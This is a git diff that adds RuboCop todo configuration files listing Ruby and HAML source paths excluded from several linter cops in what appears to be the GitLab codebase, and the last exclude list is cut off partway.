+ - ee/lib/gitlab/geo/log_cursor/daemon.rb
+ - ee/lib/pseudonymizer/dumper.rb
+ - ee/lib/pseudonymizer/pager.rb
+ - ee/lib/system_check/geo/geo_database_configured_check.rb
+ - ee/spec/lib/pseudonymizer/dumper_spec.rb
+ - ee/spec/services/ee/merge_requests/update_service_spec.rb
+ - lib/backup/database.rb
+ - lib/backup/manager.rb
+ - lib/gitlab/current_settings.rb
+ - lib/gitlab/database/load_balancing/load_balancer.rb
+ - lib/gitlab/database/load_balancing.rb
+ - lib/gitlab/database/load_balancing/sticking.rb
+ - lib/gitlab/database/migrations/observers/migration_observer.rb
+ - lib/gitlab/database/migrations/observers/query_log.rb
+ - lib/gitlab/database/partitioning_migration_helpers/backfill_partitioned_table.rb
+ - lib/gitlab/database.rb
+ - lib/gitlab/database/schema_cache_with_renamed_table.rb
+ - lib/gitlab/database/with_lock_retries.rb
+ - lib/gitlab/gitlab_import/importer.rb
+ - lib/gitlab/health_checks/db_check.rb
+ - lib/gitlab/import_export/base/relation_factory.rb
+ - lib/gitlab/import_export/group/relation_tree_restorer.rb
+ - lib/gitlab/legacy_github_import/importer.rb
+ - lib/gitlab/metrics/samplers/database_sampler.rb
+ - lib/gitlab/seeder.rb
+ - lib/gitlab/sherlock/query.rb
+ - lib/system_check/orphans/repository_check.rb
+ - spec/db/schema_spec.rb
+ - spec/initializers/database_config_spec.rb
+ - spec/lib/backup/manager_spec.rb
+ - spec/lib/gitlab/current_settings_spec.rb
+ - spec/lib/gitlab/database_spec.rb
+ - spec/lib/gitlab/metrics/subscribers/active_record_spec.rb
+ - spec/lib/gitlab/profiler_spec.rb
+ - spec/lib/gitlab/usage_data_metrics_spec.rb
+ - spec/lib/gitlab/usage_data_queries_spec.rb
+ - spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/constraints_spec.rb
+ - spec/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins_spec.rb
+ - spec/lib/gitlab/usage/metrics/instrumentations/database_metric_spec.rb
+ - spec/lib/gitlab/utils/usage_data_spec.rb
+ - spec/models/project_feature_usage_spec.rb
+ - spec/models/users_statistics_spec.rb
+ - spec/services/users/activity_service_spec.rb
+ - spec/support/caching.rb
+ - spec/support/gitlab/usage/metrics_instrumentation_shared_examples.rb
+ - spec/support/helpers/database_connection_helpers.rb
+ - spec/support/helpers/database/database_helpers.rb
+ - spec/support/helpers/database/table_schema_helpers.rb
+ - spec/support/helpers/migrations_helpers.rb
+ - spec/support/helpers/query_recorder.rb
+ - spec/support/helpers/usage_data_helpers.rb
+ - spec/tasks/gitlab/backup_rake_spec.rb
+ - spec/tasks/gitlab/db_rake_spec.rb
diff --git a/.rubocop_todo/gitlab/delegate_predicate_methods.yml b/.rubocop_todo/gitlab/delegate_predicate_methods.yml
new file mode 100644
index 00000000000..d31b4a30fc8
--- /dev/null
+++ b/.rubocop_todo/gitlab/delegate_predicate_methods.yml
@@ -0,0 +1,10 @@
+---
+Gitlab/DelegatePredicateMethods:
+ Exclude:
+ - app/models/clusters/cluster.rb
+ - app/models/concerns/ci/metadatable.rb
+ - app/models/concerns/integrations/base_data_fields.rb
+ - app/models/project.rb
+ - ee/app/models/concerns/ee/ci/metadatable.rb
+ - ee/app/models/license.rb
+ - lib/gitlab/ci/trace/stream.rb
diff --git a/.rubocop_todo/gitlab/feature_available_usage.yml b/.rubocop_todo/gitlab/feature_available_usage.yml
new file mode 100644
index 00000000000..2a0975a6e9b
--- /dev/null
+++ b/.rubocop_todo/gitlab/feature_available_usage.yml
@@ -0,0 +1,189 @@
+---
+Gitlab/FeatureAvailableUsage:
+ Exclude:
+ - app/controllers/projects/application_controller.rb
+ - app/graphql/types/project_type.rb
+ - app/helpers/events_helper.rb
+ - app/helpers/labels_helper.rb
+ - app/policies/project_policy.rb
+ - app/views/shared/boards/_switcher.html.haml
+ - ee/app/controllers/concerns/description_diff_actions.rb
+ - ee/app/controllers/concerns/ee/boards_actions.rb
+ - ee/app/controllers/concerns/security_dashboards_permissions.rb
+ - ee/app/controllers/ee/boards/lists_controller.rb
+ - ee/app/controllers/ee/projects/autocomplete_sources_controller.rb
+ - ee/app/controllers/ee/projects/issues_controller.rb
+ - ee/app/controllers/ee/projects/security/configuration_controller.rb
+ - ee/app/controllers/ee/projects/settings/ci_cd_controller.rb
+ - ee/app/controllers/ee/projects/settings/operations_controller.rb
+ - ee/app/controllers/ee/projects/settings/repository_controller.rb
+ - ee/app/controllers/projects/audit_events_controller.rb
+ - ee/app/controllers/projects/cluster_agents_controller.rb
+ - ee/app/controllers/projects/iterations/inherited_controller.rb
+ - ee/app/controllers/projects/iterations_controller.rb
+ - ee/app/controllers/projects/path_locks_controller.rb
+ - ee/app/controllers/projects/subscriptions_controller.rb
+ - ee/app/finders/autocomplete/vulnerabilities_autocomplete_finder.rb
+ - ee/app/finders/clusters/agents_finder.rb
+ - ee/app/finders/ee/alert_management/alerts_finder.rb
+ - ee/app/finders/ee/alert_management/http_integrations_finder.rb
+ - ee/app/graphql/ee/types/group_type.rb
+ - ee/app/graphql/mutations/dast/profiles/create.rb
+ - ee/app/graphql/mutations/dast/profiles/run.rb
+ - ee/app/graphql/mutations/dast/profiles/update.rb
+ - ee/app/graphql/mutations/instance_security_dashboard/remove_project.rb
+ - ee/app/graphql/resolvers/clusters/agent_tokens_resolver.rb
+ - ee/app/helpers/ee/application_helper.rb
+ - ee/app/helpers/ee/boards_helper.rb
+ - ee/app/helpers/ee/clusters_helper.rb
+ - ee/app/helpers/ee/dashboard_helper.rb
+ - ee/app/helpers/ee/form_helper.rb
+ - ee/app/helpers/ee/graph_helper.rb
+ - ee/app/helpers/ee/issues_helper.rb
+ - ee/app/helpers/ee/lock_helper.rb
+ - ee/app/helpers/ee/operations_helper.rb
+ - ee/app/helpers/ee/projects/incidents_helper.rb
+ - ee/app/helpers/ee/projects_helper.rb
+ - ee/app/helpers/ee/releases_helper.rb
+ - ee/app/helpers/ee/search_helper.rb
+ - ee/app/helpers/ee/tree_helper.rb
+ - ee/app/models/approval_state.rb
+ - ee/app/models/concerns/approvable.rb
+ - ee/app/models/concerns/ee/project_security_scanners_information.rb
+ - ee/app/models/concerns/ee/protected_ref_access.rb
+ - ee/app/models/concerns/has_timelogs_report.rb
+ - ee/app/models/concerns/insights_feature.rb
+ - ee/app/models/ee/board.rb
+ - ee/app/models/ee/ci/build.rb
+ - ee/app/models/ee/ci/build_dependencies.rb
+ - ee/app/models/ee/ci/pipeline.rb
+ - ee/app/models/ee/group.rb
+ - ee/app/models/ee/group_member.rb
+ - ee/app/models/ee/issue.rb
+ - ee/app/models/ee/list.rb
+ - ee/app/models/ee/merge_request.rb
+ - ee/app/models/ee/milestone_release.rb
+ - ee/app/models/ee/namespace.rb
+ - ee/app/models/ee/namespace_setting.rb
+ - ee/app/models/ee/project.rb
+ - ee/app/models/ee/project_ci_cd_setting.rb
+ - ee/app/models/namespace_statistics.rb
+ - ee/app/models/project_security_setting.rb
+ - ee/app/policies/compliance_management/framework_policy.rb
+ - ee/app/policies/ee/group_policy.rb
+ - ee/app/policies/ee/namespace_policy.rb
+ - ee/app/policies/ee/project_policy.rb
+ - ee/app/policies/ee/protected_branch_policy.rb
+ - ee/app/presenters/ee/label_presenter.rb
+ - ee/app/presenters/merge_request_approver_presenter.rb
+ - ee/app/serializers/dashboard_operations_project_entity.rb
+ - ee/app/serializers/ee/environment_entity.rb
+ - ee/app/serializers/ee/evidences/release_entity.rb
+ - ee/app/serializers/ee/note_entity.rb
+ - ee/app/services/boards/epic_boards/update_service.rb
+ - ee/app/services/ci/audit_variable_change_service.rb
+ - ee/app/services/clusters/agent_tokens/create_service.rb
+ - ee/app/services/clusters/agents/create_service.rb
+ - ee/app/services/dashboard/projects/create_service.rb
+ - ee/app/services/dashboard/projects/list_service.rb
+ - ee/app/services/dast/profiles/create_service.rb
+ - ee/app/services/dast/profiles/update_service.rb
+ - ee/app/services/dast_on_demand_scans/create_service.rb
+ - ee/app/services/dast_site_tokens/create_service.rb
+ - ee/app/services/dast_site_validations/create_service.rb
+ - ee/app/services/dast_site_validations/revoke_service.rb
+ - ee/app/services/dast_site_validations/validate_service.rb
+ - ee/app/services/ee/alert_management/http_integrations/create_service.rb
+ - ee/app/services/ee/audit_event_service.rb
+ - ee/app/services/ee/boards/issues/list_service.rb
+ - ee/app/services/ee/boards/lists/create_service.rb
+ - ee/app/services/ee/boards/update_service.rb
+ - ee/app/services/ee/ide/schemas_config_service.rb
+ - ee/app/services/ee/issuable_base_service.rb
+ - ee/app/services/ee/issue_links/create_service.rb
+ - ee/app/services/ee/issues/build_service.rb
+ - ee/app/services/ee/lfs/lock_file_service.rb
+ - ee/app/services/ee/lfs/unlock_file_service.rb
+ - ee/app/services/ee/merge_requests/approval_service.rb
+ - ee/app/services/ee/merge_requests/build_service.rb
+ - ee/app/services/ee/merge_requests/merge_base_service.rb
+ - ee/app/services/ee/merge_requests/refresh_service.rb
+ - ee/app/services/ee/merge_requests/update_service.rb
+ - ee/app/services/ee/projects/create_service.rb
+ - ee/app/services/ee/protected_branches/create_service.rb
+ - ee/app/services/ee/releases/create_evidence_service.rb
+ - ee/app/services/iterations/create_service.rb
+ - ee/app/services/iterations/update_service.rb
+ - ee/app/services/merge_requests/sync_report_approver_approval_rules.rb
+ - ee/app/services/merge_requests/update_blocks_service.rb
+ - ee/app/services/projects/mark_for_deletion_service.rb
+ - ee/app/services/quality_management/test_cases/create_service.rb
+ - ee/app/services/requirements_management/process_test_reports_service.rb
+ - ee/app/services/security/store_scans_service.rb
+ - ee/app/views/layouts/nav/_test_cases_link.html.haml
+ - ee/app/views/layouts/nav/sidebar/_project_iterations_link.html.haml
+ - ee/app/views/projects/_merge_request_approvals_settings.html.haml
+ - ee/app/views/projects/_merge_request_settings.html.haml
+ - ee/app/views/projects/_merge_request_settings_description_text.html.haml
+ - ee/app/views/projects/audit_events/index.html.haml
+ - ee/app/views/projects/blob/_header_file_locks.html.haml
+ - ee/app/views/projects/issues/_related_issues.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/merge_requests/show.html.haml
+ - ee/app/views/projects/pipelines/_tabs_content.html.haml
+ - ee/app/views/projects/protected_branches/ee/_code_owner_approval_form.html.haml
+ - ee/app/views/projects/protected_branches/ee/_code_owner_approval_table.html.haml
+ - ee/app/views/projects/protected_branches/ee/_code_owner_approval_table_head.html.haml
+ - ee/app/views/projects/push_rules/_index.html.haml
+ - ee/app/views/projects/settings/_default_issue_template.html.haml
+ - ee/app/views/projects/settings/_marked_for_removal.html.haml
+ - ee/app/views/projects/settings/_restore.html.haml
+ - ee/app/views/projects/settings/ci_cd/_auto_rollback.html.haml
+ - ee/app/views/projects/settings/ci_cd/_pipeline_subscriptions.html.haml
+ - ee/app/views/projects/settings/operations/_status_page.html.haml
+ - ee/app/views/projects/settings/repository/_protected_branches.html.haml
+ - ee/app/views/projects/sidebar/_repository_locked_files.html.haml
+ - ee/app/views/shared/issuable/_group_bulk_update_sidebar.html.haml
+ - ee/app/views/shared/issuable/form/_default_templates.html.haml
+ - ee/app/views/shared/labels/_create_label_help_text.html.haml
+ - ee/app/views/shared/promotions/_promote_mr_features.html.haml
+ - ee/app/views/shared/promotions/_promote_mr_features.html.haml
+ - ee/app/views/shared/promotions/_promote_repository_features.html.haml
+ - ee/app/views/shared/promotions/_promote_repository_features.html.haml
+ - ee/app/views/shared/promotions/_promote_repository_features.html.haml
+ - ee/app/views/shared/promotions/_promote_repository_features.html.haml
+ - ee/app/views/shared/promotions/_promote_repository_features.html.haml
+ - ee/app/views/shared/promotions/_promote_repository_features.html.haml
+ - ee/app/workers/analytics/code_review_metrics_worker.rb
+ - ee/app/workers/group_saml_group_sync_worker.rb
+ - ee/lib/api/external_status_checks.rb
+ - ee/lib/ee/api/entities/approval_state.rb
+ - ee/lib/ee/api/entities/board.rb
+ - ee/lib/ee/api/entities/issue.rb
+ - ee/lib/ee/api/entities/project.rb
+ - ee/lib/ee/api/helpers.rb
+ - ee/lib/ee/api/internal/kubernetes.rb
+ - ee/lib/ee/api/job_artifacts.rb
+ - ee/lib/ee/api/projects.rb
+ - ee/lib/ee/gitlab/alert_management/payload/generic.rb
+ - ee/lib/ee/gitlab/checks/diff_check.rb
+ - ee/lib/ee/gitlab/gon_helper.rb
+ - ee/lib/ee/gitlab/tree_summary.rb
+ - ee/lib/gitlab/alert_management.rb
+ - ee/lib/gitlab/ci/pipeline/chain/config/content/compliance.rb
+ - ee/lib/gitlab/code_owners.rb
+ - ee/lib/gitlab/incident_management.rb
+ - ee/lib/gitlab/path_locks_finder.rb
+ - ee/lib/incident_management/incident_sla.rb
+ - ee/spec/models/instance_security_dashboard_spec.rb
+ - ee/spec/models/license_spec.rb
+ - ee/spec/models/project_spec.rb
+ - lib/api/helpers/related_resources_helpers.rb
+ - spec/models/concerns/featurable_spec.rb
diff --git a/.rubocop_todo/gitlab/namespaced_class.yml b/.rubocop_todo/gitlab/namespaced_class.yml
new file mode 100644
index 00000000000..898768c2425
--- /dev/null
+++ b/.rubocop_todo/gitlab/namespaced_class.yml
@@ -0,0 +1,1198 @@
+---
+Gitlab/NamespacedClass:
+ Exclude:
+ - app/channels/issues_channel.rb
+ - app/controllers/abuse_reports_controller.rb
+ - app/controllers/acme_challenges_controller.rb
+ - app/controllers/application_controller.rb
+ - app/controllers/autocomplete_controller.rb
+ - app/controllers/chaos_controller.rb
+ - app/controllers/confirmations_controller.rb
+ - app/controllers/dashboard_controller.rb
+ - app/controllers/graphql_controller.rb
+ - app/controllers/groups_controller.rb
+ - app/controllers/health_check_controller.rb
+ - app/controllers/health_controller.rb
+ - app/controllers/help_controller.rb
+ - app/controllers/ide_controller.rb
+ - app/controllers/invites_controller.rb
+ - app/controllers/jwks_controller.rb
+ - app/controllers/jwt_controller.rb
+ - app/controllers/metrics_controller.rb
+ - app/controllers/notification_settings_controller.rb
+ - app/controllers/omniauth_callbacks_controller.rb
+ - app/controllers/passwords_controller.rb
+ - app/controllers/profiles_controller.rb
+ - app/controllers/projects_controller.rb
+ - app/controllers/registrations_controller.rb
+ - app/controllers/root_controller.rb
+ - app/controllers/runner_setup_controller.rb
+ - app/controllers/search_controller.rb
+ - app/controllers/sent_notifications_controller.rb
+ - app/controllers/sessions_controller.rb
+ - app/controllers/snippets_controller.rb
+ - app/controllers/uploads_controller.rb
+ - app/controllers/users_controller.rb
+ - app/controllers/whats_new_controller.rb
+ - app/finders/abuse_reports_finder.rb
+ - app/finders/access_requests_finder.rb
+ - app/finders/admin/projects_finder.rb
+ - app/finders/applications_finder.rb
+ - app/finders/award_emojis_finder.rb
+ - app/finders/branches_finder.rb
+ - app/finders/cluster_ancestors_finder.rb
+ - app/finders/clusters_finder.rb
+ - app/finders/container_repositories_finder.rb
+ - app/finders/context_commits_finder.rb
+ - app/finders/contributed_projects_finder.rb
+ - app/finders/deployments_finder.rb
+ - app/finders/events_finder.rb
+ - app/finders/feature_flags_finder.rb
+ - app/finders/feature_flags_user_lists_finder.rb
+ - app/finders/fork_projects_finder.rb
+ - app/finders/fork_targets_finder.rb
+ - app/finders/freeze_periods_finder.rb
+ - app/finders/git_refs_finder.rb
+ - app/finders/group_descendants_finder.rb
+ - app/finders/group_finder.rb
+ - app/finders/group_members_finder.rb
+ - app/finders/group_projects_finder.rb
+ - app/finders/groups_finder.rb
+ - app/finders/issuable_finder.rb
+ - app/finders/issuable_finder/params.rb
+ - app/finders/issues_finder.rb
+ - app/finders/issues_finder/params.rb
+ - app/finders/joined_groups_finder.rb
+ - app/finders/keys_finder.rb
+ - app/finders/labels_finder.rb
+ - app/finders/lfs_pointers_finder.rb
+ - app/finders/license_template_finder.rb
+ - app/finders/members_finder.rb
+ - app/finders/merge_request_target_project_finder.rb
+ - app/finders/merge_requests_finder.rb
+ - app/finders/merge_requests_finder/params.rb
+ - app/finders/milestones_finder.rb
+ - app/finders/notes_finder.rb
+ - app/finders/pending_todos_finder.rb
+ - app/finders/personal_access_tokens_finder.rb
+ - app/finders/personal_projects_finder.rb
+ - app/finders/projects_finder.rb
+ - app/finders/prometheus_metrics_finder.rb
+ - app/finders/protected_branches_finder.rb
+ - app/finders/releases_finder.rb
+ - app/finders/resource_milestone_event_finder.rb
+ - app/finders/resource_state_event_finder.rb
+ - app/finders/sentry_issue_finder.rb
+ - app/finders/serverless_domain_finder.rb
+ - app/finders/snippets_finder.rb
+ - app/finders/starred_projects_finder.rb
+ - app/finders/tags_finder.rb
+ - app/finders/template_finder.rb
+ - app/finders/todos_finder.rb
+ - app/finders/union_finder.rb
+ - app/finders/uploader_finder.rb
+ - app/finders/user_finder.rb
+ - app/finders/user_group_notification_settings_finder.rb
+ - app/finders/user_groups_counter.rb
+ - app/finders/user_recent_events_finder.rb
+ - app/finders/users_finder.rb
+ - app/finders/users_star_projects_finder.rb
+ - app/finders/users_with_pending_todos_finder.rb
+ - app/graphql/gitlab_schema.rb
+ - app/mailers/abuse_report_mailer.rb
+ - app/mailers/application_mailer.rb
+ - app/mailers/devise_mailer.rb
+ - app/mailers/email_rejection_mailer.rb
+ - app/mailers/notify.rb
+ - app/mailers/previews/devise_mailer_preview.rb
+ - app/mailers/previews/email_rejection_mailer_preview.rb
+ - app/mailers/previews/notify_preview.rb
+ - app/mailers/previews/repository_check_mailer_preview.rb
+ - app/mailers/repository_check_mailer.rb
+ - app/models/ability.rb
+ - app/models/abuse_report.rb
+ - app/models/active_session.rb
+ - app/models/appearance.rb
+ - app/models/application_record.rb
+ - app/models/application_setting.rb
+ - app/models/application_setting/term.rb
+ - app/models/approval.rb
+ - app/models/audit_event.rb
+ - app/models/authentication_event.rb
+ - app/models/award_emoji.rb
+ - app/models/badge.rb
+ - app/models/badges/group_badge.rb
+ - app/models/badges/project_badge.rb
+ - app/models/blob.rb
+ - app/models/board.rb
+ - app/models/board_group_recent_visit.rb
+ - app/models/board_project_recent_visit.rb
+ - app/models/broadcast_message.rb
+ - app/models/bulk_import.rb
+ - app/models/chat_name.rb
+ - app/models/chat_team.rb
+ - app/models/ci_platform_metric.rb
+ - app/models/commit.rb
+ - app/models/commit_collection.rb
+ - app/models/commit_range.rb
+ - app/models/commit_status.rb
+ - app/models/commit_user_mention.rb
+ - app/models/commit_with_pipeline.rb
+ - app/models/compare.rb
+ - app/models/concerns/uniquify.rb
+ - app/models/container_expiration_policy.rb
+ - app/models/container_repository.rb
+ - app/models/context_commits_diff.rb
+ - app/models/custom_emoji.rb
+ - app/models/data_list.rb
+ - app/models/deploy_key.rb
+ - app/models/deploy_keys_project.rb
+ - app/models/deploy_token.rb
+ - app/models/deployment.rb
+ - app/models/deployment_cluster.rb
+ - app/models/deployment_merge_request.rb
+ - app/models/deployment_metrics.rb
+ - app/models/description_version.rb
+ - app/models/design_user_mention.rb
+ - app/models/diff_discussion.rb
+ - app/models/diff_note.rb
+ - app/models/diff_note_position.rb
+ - app/models/directly_addressed_user.rb
+ - app/models/discussion.rb
+ - app/models/discussion_note.rb
+ - app/models/draft_note.rb
+ - app/models/email.rb
+ - app/models/environment.rb
+ - app/models/environment_status.rb
+ - app/models/epic.rb
+ - app/models/event.rb
+ - app/models/event_collection.rb
+ - app/models/experiment.rb
+ - app/models/experiment_subject.rb
+ - app/models/experiment_user.rb
+ - app/models/exported_protected_branch.rb
+ - app/models/external_issue.rb
+ - app/models/external_pull_request.rb
+ - app/models/fork_network.rb
+ - app/models/fork_network_member.rb
+ - app/models/generic_commit_status.rb
+ - app/models/gpg_key.rb
+ - app/models/gpg_key_subkey.rb
+ - app/models/gpg_signature.rb
+ - app/models/grafana_integration.rb
+ - app/models/group.rb
+ - app/models/group_custom_attribute.rb
+ - app/models/group_deploy_key.rb
+ - app/models/group_deploy_keys_group.rb
+ - app/models/group_deploy_token.rb
+ - app/models/group_group_link.rb
+ - app/models/group_import_state.rb
+ - app/models/group_label.rb
+ - app/models/guest.rb
+ - app/models/hooks/active_hook_filter.rb
+ - app/models/hooks/project_hook.rb
+ - app/models/hooks/service_hook.rb
+ - app/models/hooks/system_hook.rb
+ - app/models/hooks/web_hook.rb
+ - app/models/hooks/web_hook_log.rb
+ - app/models/identity.rb
+ - app/models/identity/uniqueness_scopes.rb
+ - app/models/import_export_upload.rb
+ - app/models/import_failure.rb
+ - app/models/individual_note_discussion.rb
+ - app/models/instance_configuration.rb
+ - app/models/instance_metadata.rb
+ - app/models/integration.rb
+ - app/models/internal_id.rb
+ - app/models/issuable_severity.rb
+ - app/models/issue.rb
+ - app/models/issue/metrics.rb
+ - app/models/issue_assignee.rb
+ - app/models/issue_collection.rb
+ - app/models/issue_email_participant.rb
+ - app/models/issue_link.rb
+ - app/models/issue_user_mention.rb
+ - app/models/iteration.rb
+ - app/models/jira_connect_installation.rb
+ - app/models/jira_connect_subscription.rb
+ - app/models/jira_import_state.rb
+ - app/models/key.rb
+ - app/models/label.rb
+ - app/models/label_link.rb
+ - app/models/label_note.rb
+ - app/models/label_priority.rb
+ - app/models/legacy_diff_discussion.rb
+ - app/models/legacy_diff_note.rb
+ - app/models/lfs_download_object.rb
+ - app/models/lfs_file_lock.rb
+ - app/models/lfs_object.rb
+ - app/models/lfs_objects_project.rb
+ - app/models/license_template.rb
+ - app/models/list.rb
+ - app/models/list_user_preference.rb
+ - app/models/member.rb
+ - app/models/members/group_member.rb
+ - app/models/members/last_group_owner_assigner.rb
+ - app/models/members/project_member.rb
+ - app/models/members/member_task.rb
+ - app/models/members_preloader.rb
+ - app/models/merge_request.rb
+ - app/models/merge_request_assignee.rb
+ - app/models/merge_request_context_commit.rb
+ - app/models/merge_request_context_commit_diff_file.rb
+ - app/models/merge_request_diff.rb
+ - app/models/merge_request_diff_commit.rb
+ - app/models/merge_request_diff_file.rb
+ - app/models/merge_request_reviewer.rb
+ - app/models/merge_request_user_mention.rb
+ - app/models/merge_requests_closing_issues.rb
+ - app/models/milestone.rb
+ - app/models/milestone_note.rb
+ - app/models/milestone_release.rb
+ - app/models/namespace.rb
+ - app/models/namespace/traversal_hierarchy.rb
+ - app/models/namespace_onboarding_action.rb
+ - app/models/namespace_setting.rb
+ - app/models/note.rb
+ - app/models/note_diff_file.rb
+ - app/models/notification_reason.rb
+ - app/models/notification_recipient.rb
+ - app/models/notification_setting.rb
+ - app/models/oauth_access_grant.rb
+ - app/models/oauth_access_token.rb
+ - app/models/out_of_context_discussion.rb
+ - app/models/onboarding_progress.rb
+ - app/models/pages_deployment.rb
+ - app/models/pages_domain.rb
+ - app/models/pages_domain_acme_order.rb
+ - app/models/personal_access_token.rb
+ - app/models/personal_snippet.rb
+ - app/models/plan.rb
+ - app/models/plan_limits.rb
+ - app/models/pool_repository.rb
+ - app/models/product_analytics_event.rb
+ - app/models/programming_language.rb
+ - app/models/project.rb
+ - app/models/project_authorization.rb
+ - app/models/project_auto_devops.rb
+ - app/models/project_ci_cd_setting.rb
+ - app/models/project_custom_attribute.rb
+ - app/models/project_daily_statistic.rb
+ - app/models/project_deploy_token.rb
+ - app/models/project_export_job.rb
+ - app/models/project_feature.rb
+ - app/models/project_feature_usage.rb
+ - app/models/project_group_link.rb
+ - app/models/project_import_data.rb
+ - app/models/project_import_state.rb
+ - app/models/project_label.rb
+ - app/models/project_metrics_setting.rb
+ - app/models/project_pages_metadatum.rb
+ - app/models/project_repository.rb
+ - app/models/project_repository_storage_move.rb
+ - app/models/project_setting.rb
+ - app/models/project_snippet.rb
+ - app/models/project_statistics.rb
+ - app/models/project_team.rb
+ - app/models/project_tracing_setting.rb
+ - app/models/project_wiki.rb
+ - app/models/prometheus_alert.rb
+ - app/models/prometheus_alert_event.rb
+ - app/models/prometheus_metric.rb
+ - app/models/protectable_dropdown.rb
+ - app/models/protected_branch.rb
+ - app/models/protected_tag.rb
+ - app/models/push_event.rb
+ - app/models/push_event_payload.rb
+ - app/models/raw_usage_data.rb
+ - app/models/readme_blob.rb
+ - app/models/redirect_route.rb
+ - app/models/ref_matcher.rb
+ - app/models/release.rb
+ - app/models/release_highlight.rb
+ - app/models/remote_mirror.rb
+ - app/models/repository.rb
+ - app/models/repository_language.rb
+ - app/models/resource_event.rb
+ - app/models/resource_label_event.rb
+ - app/models/resource_milestone_event.rb
+ - app/models/resource_state_event.rb
+ - app/models/resource_timebox_event.rb
+ - app/models/review.rb
+ - app/models/route.rb
+ - app/models/self_managed_prometheus_alert_event.rb
+ - app/models/sent_notification.rb
+ - app/models/sentry_issue.rb
+ - app/models/service_desk_setting.rb
+ - app/models/service_list.rb
+ - app/models/shard.rb
+ - app/models/snippet.rb
+ - app/models/snippet_blob.rb
+ - app/models/snippet_input_action.rb
+ - app/models/snippet_input_action_collection.rb
+ - app/models/snippet_repository.rb
+ - app/models/snippet_repository_storage_move.rb
+ - app/models/snippet_statistics.rb
+ - app/models/snippet_user_mention.rb
+ - app/models/spam_log.rb
+ - app/models/ssh_host_key.rb
+ - app/models/state_note.rb
+ - app/models/subscription.rb
+ - app/models/suggestion.rb
+ - app/models/synthetic_note.rb
+ - app/models/system_note_metadata.rb
+ - app/models/term_agreement.rb
+ - app/models/timelog.rb
+ - app/models/todo.rb
+ - app/models/tree.rb
+ - app/models/trending_project.rb
+ - app/models/u2f_registration.rb
+ - app/models/upload.rb
+ - app/models/user.rb
+ - app/models/user_agent_detail.rb
+ - app/models/user_canonical_email.rb
+ - app/models/user_custom_attribute.rb
+ - app/models/user_detail.rb
+ - app/models/user_highest_role.rb
+ - app/models/user_interacted_project.rb
+ - app/models/user_mention.rb
+ - app/models/user_preference.rb
+ - app/models/user_status.rb
+ - app/models/user_synced_attributes_metadata.rb
+ - app/models/users_star_project.rb
+ - app/models/users_statistics.rb
+ - app/models/vulnerability.rb
+ - app/models/web_ide_terminal.rb
+ - app/models/webauthn_registration.rb
+ - app/models/wiki.rb
+ - app/models/wiki_directory.rb
+ - app/models/wiki_page.rb
+ - app/models/wiki_page/meta.rb
+ - app/models/wiki_page/slug.rb
+ - app/models/x509_certificate.rb
+ - app/models/x509_commit_signature.rb
+ - app/models/x509_issuer.rb
+ - app/models/zoom_meeting.rb
+ - app/policies/application_setting/term_policy.rb
+ - app/policies/award_emoji_policy.rb
+ - app/policies/base_policy.rb
+ - app/policies/blob_policy.rb
+ - app/policies/board_policy.rb
+ - app/policies/commit_policy.rb
+ - app/policies/commit_status_policy.rb
+ - app/policies/container_expiration_policy_policy.rb
+ - app/policies/container_repository_policy.rb
+ - app/policies/custom_emoji_policy.rb
+ - app/policies/deploy_key_policy.rb
+ - app/policies/deploy_keys_project_policy.rb
+ - app/policies/deploy_token_policy.rb
+ - app/policies/deployment_policy.rb
+ - app/policies/draft_note_policy.rb
+ - app/policies/environment_policy.rb
+ - app/policies/external_issue_policy.rb
+ - app/policies/global_policy.rb
+ - app/policies/grafana_integration_policy.rb
+ - app/policies/group_deploy_key_policy.rb
+ - app/policies/group_deploy_keys_group_policy.rb
+ - app/policies/group_label_policy.rb
+ - app/policies/group_member_policy.rb
+ - app/policies/group_policy.rb
+ - app/policies/identity_provider_policy.rb
+ - app/policies/instance_metadata_policy.rb
+ - app/policies/integration_policy.rb
+ - app/policies/issuable_policy.rb
+ - app/policies/issue_policy.rb
+ - app/policies/merge_request_policy.rb
+ - app/policies/milestone_policy.rb
+ - app/policies/namespace_policy.rb
+ - app/policies/nil_policy.rb
+ - app/policies/note_policy.rb
+ - app/policies/personal_access_token_policy.rb
+ - app/policies/personal_snippet_policy.rb
+ - app/policies/project_ci_cd_setting_policy.rb
+ - app/policies/project_label_policy.rb
+ - app/policies/project_member_policy.rb
+ - app/policies/project_policy.rb
+ - app/policies/project_snippet_policy.rb
+ - app/policies/project_statistics_policy.rb
+ - app/policies/prometheus_alert_policy.rb
+ - app/policies/protected_branch_policy.rb
+ - app/policies/release_policy.rb
+ - app/policies/repository_policy.rb
+ - app/policies/resource_label_event_policy.rb
+ - app/policies/suggestion_policy.rb
+ - app/policies/timebox_policy.rb
+ - app/policies/timelog_policy.rb
+ - app/policies/todo_policy.rb
+ - app/policies/user_policy.rb
+ - app/policies/wiki_page_policy.rb
+ - app/policies/wiki_policy.rb
+ - app/presenters/award_emoji_presenter.rb
+ - app/presenters/blob_presenter.rb
+ - app/presenters/board_presenter.rb
+ - app/presenters/clusterable_presenter.rb
+ - app/presenters/commit_presenter.rb
+ - app/presenters/commit_status_presenter.rb
+ - app/presenters/environment_presenter.rb
+ - app/presenters/event_presenter.rb
+ - app/presenters/generic_commit_status_presenter.rb
+ - app/presenters/group_clusterable_presenter.rb
+ - app/presenters/group_member_presenter.rb
+ - app/presenters/instance_clusterable_presenter.rb
+ - app/presenters/invitation_presenter.rb
+ - app/presenters/issue_presenter.rb
+ - app/presenters/label_presenter.rb
+ - app/presenters/member_presenter.rb
+ - app/presenters/members_presenter.rb
+ - app/presenters/merge_request_presenter.rb
+ - app/presenters/milestone_presenter.rb
+ - app/presenters/pages_domain_presenter.rb
+ - app/presenters/project_clusterable_presenter.rb
+ - app/presenters/project_hook_presenter.rb
+ - app/presenters/project_member_presenter.rb
+ - app/presenters/project_presenter.rb
+ - app/presenters/prometheus_alert_presenter.rb
+ - app/presenters/release_presenter.rb
+ - app/presenters/search_service_presenter.rb
+ - app/presenters/sentry_error_presenter.rb
+ - app/presenters/service_hook_presenter.rb
+ - app/presenters/snippet_blob_presenter.rb
